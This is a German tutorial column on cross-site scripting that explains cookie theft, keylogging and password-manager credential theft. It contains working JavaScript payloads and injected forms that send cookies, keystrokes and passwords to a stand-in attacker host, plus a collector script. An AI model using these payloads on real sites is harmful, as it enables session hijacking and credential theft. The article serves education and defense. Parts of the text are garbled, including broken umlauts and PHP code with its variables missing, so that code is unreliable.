Montag, 6. September 2010


Topthema

Donnerstag, 15. November 2007 | Topthema

About Security #131: XSS-Angriffe (1)

(Link zum Artikel: http://www.entwickler.de/php/kolumnen/039362)

Das Aussp�hen von Cookies und Tastatureingaben sowie das Auslesen von Passw�rtern sind einige m�gliche Angriffe �ber XSS:

Aussp�hen von Cookies

"Aussp�hen von Cookies" ist ein klassischer XSS-Angriff. Als Beispiel soll folgender Aufruf einer Webanwendung dienen, deren Parameter foo f�r reflektiertes XSS anf�llig ist:
http://www.beispiel.example/anwendung.cgi?foo=[XSS]

Um den Cookie auszusp�hen, muss auf dem Client JavaScript-Code eingeschleust werden, der den Cookie an den Server des Angreifers sendet, z.B. so:

<script>document.location.replace('http://www.angreifer.example/cookie-sammler.php?
geklautercookie='+document.cookie)</script>

Der Angreifer m�sste sein Opfer also dazu verleiten, folgenden URL aufzurufen:

http://www.beispiel.example/anwendung.cgi?foo=<script>document.location.replace(
'http://www.angreifer.example/cookie-sammler.php?
geklautercookie='+document.cookie)</script>

N E U ! Security aktuell
T�glich aktuelle Security-Infos!

Genauso gut k�nnte der XSS-Code auch z.B. in ein G�stebuch (persistentes XSS) eingetragen oder �ber DOM-basiertes XSS direkt in den Webbrowser des Opfers eingeschleust werden. Egal wie der Code eingeschleust wird, er sendet sofort den Cookie an den Server des Angreifers. Das dort laufende Skript cookie-sammler.php k�nnte z.B. folgenden Inhalt haben (statt PHP kann nat�rlich auch jede andere Sprache verwendet werden):

<?
// Daten sammeln
= ["geklautercookie"];
= getenv ("REMOTE_ADDR");
= getenv("HTTP_REFERER");
= date("j. F Y, H:i");

// Eintrag zusammenstellen
= "Cookie: ".." <br>";
= ."IP: ".." <br>";
= ."Referer: ".." <br>";
= ."Datum und Zeit: ".." <br>";
= ." <hr> <br>";

// Eintrag in Datei schreiben
= fopen("geklaut.html", "a+");
fwrite(, );
fclose();
?>

Der Cookie des Opfers wird �ber den GET-Parameter geklautercookie �bergeben, IP-Adresse und Referer werden aus den entsprechenden Eintr�gen des Environments �bernommen. Danach werden die gesammelten Daten aufbereitet und das Ergebnis in die Datei geklaut.html geschrieben.

Aussp�hen von Tastatureingaben

Statt langwieriger Erkl�rungen gleich ein einfaches Beispiel: Der folgende kurze JavaScript-Code gibt im Internet Explorer die Tastendr�cke in der Statuszeile aus:

<script> var keylog = 'Tastendr�cke: '; 
document.onkeypress = function () {
window.status = keylog += String.fromCharCode(window.event.keyCode);
}
</script>

Das ist weder f�r einen Angreifer besonders hilfreich noch ein Keylogger im eigentlichen Sinne, zeigt aber das (sehr einfache) Prinzip: Tastendr�cke werden erkannt und der zugeh�rige Tastencode ausgewertet. Mit etwas AJAX lassen sich die so erlangten Daten auch an den Angreifer senden:

<script>
var serviceURL = "http://www.angreifer.example/tasten-sammler.php"
var req = new XMLHttpRequest();
var keylog = '';
document.onkeypress = function () {
keylog += String.fromCharCode(window.event.keyCode);
sendeDaten(keylog)
}

function sendeDaten(daten) {
req.open("POST", serviceURL + "?tasten=" + encodeURIComponent(daten.value), true);
req.send(null);
}
</script>
About Security: Die komplette Serie

Der Keylog-Teil dieses Skripts ist weitgehend identisch mit dem ersten Beispiel, lediglich auf die Ausgabe in der Statuszeile wird aus nahliegenden Gr�nden verzichtet. Stattdessen werden die Tastendr�cke �ber einen XMLHttpRequest an den Server des Angreifers geschickt. Dort wartet ein Skript entsprechend zum Sammeln der Cookies auf die �bertragenen Tastendr�cke.

Auslesen von Passw�rtern

Um Passw�rter aus Passwortmanagern wie z.B. dem Password-Safe von Firefox oder dem Schl�sselring von Mac OS X auszulesen, nutzt der Angreifer die manchmal unzureichende Intelligenz solcher Programme: Sie f�llen die auf einer Webseite gefundenen Formularfelder mit den zum jeweiligen Server passenden Werten aus. Auch, wenn diese Daten dann an einen anderen Server gesendet werden. Da es sich dabei um Schwachstellen in den jeweiligen Passwortmanagern handelt, die (hoffentlich) fr�her oder sp�ter behoben werden, funktionieren entsprechende Angriffe immer nur f�r bestimmte Passwortmanager und/oder Versionen. Im Folgenden wird daher nur das allgemeine Prinzip beschrieben.

Als Beispiel soll die Webanwendung http://www.beispiel.example/anwendung.html dienen, die ein Formular f�r die Anmeldung mit Benutzername und Passwort enth�lt:

<form method="post" action="http://www.beispiel.example/login.cgi">

Name: <input name="name"><br>
Passwort: <input name="pass"><br>

<input type="submit" value="Einloggen">
</form>

Der Passwortmanager erkennt die Seite http://www.beispiel.example/anwendung.html und f�llt die Formularfelder mit den passenden Werten aus. Das Gleiche passiert auch, wenn ein Angreifer folgendes Formular in die Seite einschleusen w�rde:

<form name="passwortklau" method="post" action="http://www.angreifer.example/passwort-sammler.php">

<input type="hidden" name="name">
<input type="hidden" name="pass">
</form>

Der Angreifer muss die Daten dann nur noch abschicken:

<script>document.passwortklau.submit()</script>

Wertet der Passwortmanager au�er dem Domainnamen und den Formularfeldern auch den action-Parameter aus, w�rde er das falsche Ziel f�r die Daten erkennen. Aber auch das kann umgangen werden, indem der Passwortdiebstahl in einem onSubmit-Aufruf versteckt wird:

<form name="passwortklau" method="post" action="http://www.beispiel.example/login.cgi"
onSubmit="document.location.replace(
'http://www.angreifer.example/passwort-sammler.php?
name='+document.passwortklau.name.value+
'&pass='+document.passwortklau.pass.value)"
;>

<input type="hidden" name="name">
<input type="hidden" name="pass">
</form>

In der n�chsten Folge wird die Beschreibung von XSS-Angriffen fortgesetzt.

Wenn Sie Fragen oder Themenvorschl�ge haben, k�nnen Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers

About Security � �bersicht zum aktuellen Thema "Sichere Webanwendungen � Cross-Site Scripting"

Kommentare

Folgende Links könnten Sie auch interessieren